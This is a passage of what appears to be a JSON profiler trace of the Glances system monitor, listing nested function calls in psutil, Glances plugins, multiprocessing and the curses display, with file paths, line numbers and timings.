\"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.005982,\"attributes\": {\"cProcess\": 0.005981736998364795, \"l1593\": 0.005981736998364795},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.005982,\"attributes\": {\"cProcess\": 0.005981736998364795, \"l1857\": 0.005981736998364795},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.005982,\"attributes\": {\"cProcess\": 0.005981736998364795, \"l1593\": 0.005981736998364795},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.005982,\"attributes\": {\"cProcess\": 0.005981736998364795, \"l375\": 0.005981736998364795},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.005982,\"attributes\": {\"cProcess\": 0.005981736998364795, \"l1683\": 0.005981736998364795},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.005982,\"attributes\": {\"l730\": 0.005981736998364795},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.005982,\"attributes\": {\"l718\": 0.003981417998147663, \"l719\": 0.0020003190002171323},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001982,\"attributes\": {\"l682\": 0.0019820829984382726},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001982,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001982,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.002000,\"attributes\": {\"l824\": 0.001999613996304106},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000773\",\"time\": 0.002000,\"attributes\": {\"l773\": 0.001999613996304106},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"remove_non_running_procs\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000676\",\"time\": 0.002577,\"attributes\": {\"cGlancesProcesses\": 0.0025768740015337244, \"l679\": 0.0025768740015337244},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002577,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.001626,\"attributes\": {\"cGlancesProcesses\": 0.0016259859985439107, \"l689\": 0.0016259859985439107},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.001626,\"attributes\": {\"l589\": 0.0016259859985439107},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.001626,\"attributes\": {\"l584\": 0.0016259859985439107},\"children\": [{\"identifier\": \"_asdict\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000476\",\"time\": 0.001626,\"attributes\": {\"cpcputimes\": 0.0016259859985439107, \"l478\": 0.0016259859985439107},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001626,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.001799,\"attributes\": {\"cProgramlistPlugin\": 0.0017986330058192834, \"l155\": 0.0017986330058192834},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.001799,\"attributes\": {\"cGlancesProcesses\": 0.0017986330058192834, \"l711\": 0.0017986330058192834},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.001799,\"attributes\": {\"l69\": 0.0017986330058192834},\"children\": [{\"identifier\": \"create_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000017\",\"time\": 0.001799,\"attributes\": {\"l34\": 0.0017986330058192834},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001799,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.007998,\"attributes\": {\"cProgramlistPlugin\": 0.007997813998372294, \"l678\": 0.007997813998372294},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.007998,\"attributes\": {\"cProgramlistPlugin\": 0.007997813998372294, \"l634\": 0.004002829999080859, \"l656\": 0.0019962699952884577, \"l633\": 0.001998714004002977},\"children\": [{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.0020027200007461943, \"l628\": 0.0020027200007461943},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001998714004002977, \"l619\": 0.001998714004002977},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000109998334665, \"l628\": 0.002000109998334665},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update_stats_history\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000345\",\"time\": 0.002002,\"attributes\": {\"cPercpuPlugin\": 0.002002344001084566, \"l362\": 0.002002344001084566},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.010011,\"attributes\": {\"cProcesslistPlugin\": 0.010010548998252489, \"l678\": 0.010010548998252489},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.004002,\"attributes\": {\"cProcesslistPlugin\": 0.004001850997155998, \"l633\": 0.004001850997155998},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.004002,\"attributes\": {\"cProcesslistPlugin\": 0.004001850997155998, \"l623\": 0.002000909997150302, \"l619\": 0.002000941000005696},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.004013,\"attributes\": {\"cProcesslistPlugin\": 0.004012864003016148, \"l634\": 0.004012864003016148},\"children\": [{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.004013,\"attributes\": {\"cProcesslistPlugin\": 0.004012864003016148, \"l628\": 0.004012864003016148},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002013,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000216\",\"time\": 0.001989,\"attributes\": {\"cSensorsPlugin\": 0.001988705997064244, \"l219\": 0.001988705997064244},\"children\": [{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.001989,\"attributes\": {\"cSensorsPlugin\": 0.001988705997064244, \"l678\": 0.001988705997064244},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.001989,\"attributes\": {\"cSensorsPlugin\": 0.001988705997064244, \"l633\": 0.001988705997064244},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001989,\"attributes\": {\"cSensorsPlugin\": 0.001988705997064244, \"l614\": 0.001988705997064244},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001989,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.018095,\"attributes\": {\"cFsPlugin\": 0.014710857001773547, \"l1278\": 0.01809468000283232, \"cWifiPlugin\": 0.0012898620043415576, \"cQuicklookPlugin\": 0.0020939609967172146},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.018095,\"attributes\": {\"l1295\": 0.016804817998490762, \"l1299\": 0.0012898620043415576},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.014711,\"attributes\": {\"cFsPlugin\": 0.014710857001773547, \"l131\": 0.014710857001773547},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.014711,\"attributes\": {\"cFsPlugin\": 0.014710857001773547, \"l182\": 0.014710857001773547},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.014711,\"attributes\": {\"l630\": 0.004674974006775301, \"l631\": 0.010035882994998246},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.002923,\"attributes\": {\"cForkProcess\": 0.002923154999734834, \"l121\": 0.002923154999734834},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.002923,\"attributes\": {\"l281\": 0.002923154999734834},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.002923,\"attributes\": {\"cPopen\": 0.002923154999734834, \"l20\": 0.002923154999734834},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.002923,\"attributes\": {\"cPopen\": 0.002923154999734834, \"l70\": 0.002923154999734834},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002923,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.005356,\"attributes\": {\"cForkProcess\": 0.005355503999453504, \"l156\": 0.005355503999453504},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.005356,\"attributes\": {\"cPopen\": 0.005355503999453504, \"l41\": 0.005355503999453504},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.005356,\"attributes\": {\"l1165\": 0.005355503999453504},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.005356,\"attributes\": {\"cPollSelector\": 0.005355503999453504, \"l398\": 0.005355503999453504},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.005356,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005356,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.001752,\"attributes\": {\"cForkProcess\": 0.0017518190070404671, \"l121\": 0.0017518190070404671},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.001752,\"attributes\": {\"l281\": 0.0017518190070404671},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.001752,\"attributes\": {\"cPopen\": 0.0017518190070404671, \"l20\": 0.0017518190070404671},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.001752,\"attributes\": {\"cPopen\": 0.0017518190070404671, \"l84\": 0.0017518190070404671},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001752,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.004680,\"attributes\": {\"cForkProcess\": 0.004680378995544743, \"l156\": 0.004680378995544743},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.004680,\"attributes\": {\"cPopen\": 0.004680378995544743, \"l41\": 0.004680378995544743},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.004680,\"attributes\": {\"l1165\": 0.004680378995544743},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.004680,\"attributes\": {\"cPollSelector\": 0.004680378995544743, \"l398\": 0.004680378995544743},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.004680,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.004680,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001290,\"attributes\": {},\"children\": []},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u0000107\",\"time\": 0.002094,\"attributes\": {\"cQuicklookPlugin\": 0.0020939609967172146, \"l117\": 0.0020939609967172146},\"children\": [{\"identifier\": \"get_info\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000246\",\"time\": 0.002094,\"attributes\": {\"cCpuPercent\": 0.0020939609967172146, \"l252\": 0.0020939609967172146},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001937\",\"time\": 0.002094,\"attributes\": {\"l1945\": 0.0020939609967172146},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000643\",\"time\": 0.002094,\"attributes\": {\"l648\": 0.0020939609967172146},\"children\": [{\"identifier\": \"_cpu_get_cpuinfo_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000629\",\"time\": 0.002094,\"attributes\": {\"l635\": 0.0020939609967172146},\"children\": [{\"identifier\": \"bytes.startswith\\u0000<built-in>\\u00000\",\"time\": 0.002094,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002094,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.062885,\"attributes\": {\"cGlancesCursesStandalone\": 2.0628854599999613, \"l1154\": 0.05190516499715159, \"l1169\": 1.0065643359994283, \"l1172\": 1.0044159590033814},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.051905,\"attributes\": {\"cGlancesCursesStandalone\": 0.05190516499715159, \"l1135\": 0.05190516499715159},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.051905,\"attributes\": {\"cGlancesCursesStandalone\": 0.05190516499715159, \"l569\": 0.04990330599684967, \"l603\": 0.00200185900030192},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.049903,\"attributes\": {\"cGlancesCursesStandalone\": 0.04990330599684967, \"l545\": 0.04990330599684967},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.049903,\"attributes\": {\"cProgramlistPlugin\": 0.023903522996988613, \"l1101\": 0.04990330599684967, \"cProcesslistPlugin\": 0.025999782999861054},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.049903,\"attributes\": {\"cProgramlistPlugin\": 0.023903522996988613, \"l566\": 0.0019970770008512773, \"l587\": 0.04790622899599839, \"cProcesslistPlugin\": 0.025999782999861054},\"children\": [{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.001997,\"attributes\": {\"l824\": 0.0019970770008512773},\"children\": [{\"identifier\": \"sorted\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.025956,\"attributes\": {\"cProgramlistPlugin\": 0.021906445996137336, \"l538\": 0.025956439996662084, \"cProcesslistPlugin\": 0.004049994000524748},\"children\": [{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001907,\"attributes\": {\"cProgramlistPlugin\": 0.0019072020004387014, \"l359\": 0.0019072020004387014},\"children\": [{\"identifier\": \"get_conf_value\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001003\",\"time\": 0.001907,\"attributes\": {\"cProgramlistPlugin\": 0.0019072020004387014, \"l1020\": 0.0019072020004387014},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001907,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002089,\"attributes\": {\"cProgramlistPlugin\": 0.002088953995553311, \"l309\": 0.002088953995553311},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002089,\"attributes\": {\"cProgramlistPlugin\": 0.002088953995553311, \"l856\": 0.002088953995553311},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002089,\"attributes\": {\"cProgramlistPlugin\": 0.002088953995553311, \"l969\": 0.002088953995553311},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002089,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.0019977510019089095, \"l325\": 0.0019977510019089095},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.0019977510019089095, \"l885\": 0.0019977510019089095},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.0019977510019089095, \"l910\": 0.0019977510019089095},\"children\": [{\"identifier\": \"set\\u0000/home/nicolargo/dev/glances/glances/actions.py\\u000049\",\"time\": 0.001998,\"attributes\": {\"cGlancesActions\": 0.0019977510019089095, \"l51\": 0.0019977510019089095},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002008,\"attributes\": {\"cProgramlistPlugin\": 0.0020077310036867857, \"l472\": 0.0020077310036867857},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.002008,\"attributes\": {\"cProgramlistPlugin\": 0.0020077310036867857, \"l466\": 0.0020077310036867857},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002008,\"attributes\": {\"cProgramlistPlugin\": 0.0020077310036867857, \"l1130\": 0.0020077310036867857},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002008,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001930,\"attributes\": {\"cProgramlistPlugin\": 0.0019302319997223094, \"l429\": 0.0019302319997223094},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.001930,\"attributes\": {\"cProgramlistPlugin\": 0.0019302319997223094, \"l278\": 0.0019302319997223094},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001930,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002076,\"attributes\": {\"cProgramlistPlugin\": 0.0020757689999300055, \"l309\": 0.0020757689999300055},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002076,\"attributes\": {\"cProgramlistPlugin\": 0.0020757689999300055, \"l848\": 0.0020757689999300055},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002076,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001990,\"attributes\": {\"cProgramlistPlugin\": 0.001990084994758945, \"l360\": 0.001990084994758945},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.001990,\"attributes\": {\"cProgramlistPlugin\": 0.001990084994758945, \"l340\": 0.001990084994758945},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.001990,\"attributes\": {\"cProgramlistPlugin\": 0.001990084994758945, \"l1251\": 0.001990084994758945},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001990,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001909,\"attributes\": {\"cProgramlistPlugin\": 0.0019093280061497353, \"l325\": 0.0019093280061497353},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001909,\"attributes\": {\"cProgramlistPlugin\": 0.0019093280061497353, \"l848\": 0.0019093280061497353},\"children\": [{\"identifier\": \"get_stat_name\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000794\",\"time\": 0.001909,\"attributes\": {\"cProgramlistPlugin\": 0.0019093280061497353, \"l801\": 0.0019093280061497353},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001909,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0020000439981231466, \"l361\": 0.0020000439981231466},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0020000439981231466, \"l351\": 0.0020000439981231466},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0020000439981231466, \"l1130\": 0.0020000439981231466},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002010,\"attributes\": {\"cProgramlistPlugin\": 0.002010092001000885, \"l470\": 0.002010092001000885},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002010,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.001989,\"attributes\": {\"cProgramlistPlugin\": 0.0019892579948646016, \"l500\": 0.0019892579948646016},\"children\": [{\"identifier\": \"isdir\\u0000<frozen genericpath>\\u000048\",\"time\": 0.001989,\"attributes\": {\"l51\": 0.0019892579948646016},\"children\": [{\"identifier\": \"stat\\u0000<built-in>\\u00000\",\"time\": 0.001989,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001989,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002048,\"attributes\": {\"cProcesslistPlugin\": 0.0020483259941102006, \"l325\": 0.0020483259941102006},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002048,\"attributes\": {\"cProcesslistPlugin\": 0.0020483259941102006, \"l882\": 0.0020483259941102006},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.002048,\"attributes\": {\"cProcesslistPlugin\": 0.0020483259941102006, \"l902\": 0.0020483259941102006},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.002048,\"attributes\": {\"cGlancesThresholds\": 0.0020483259941102006, \"l50\": 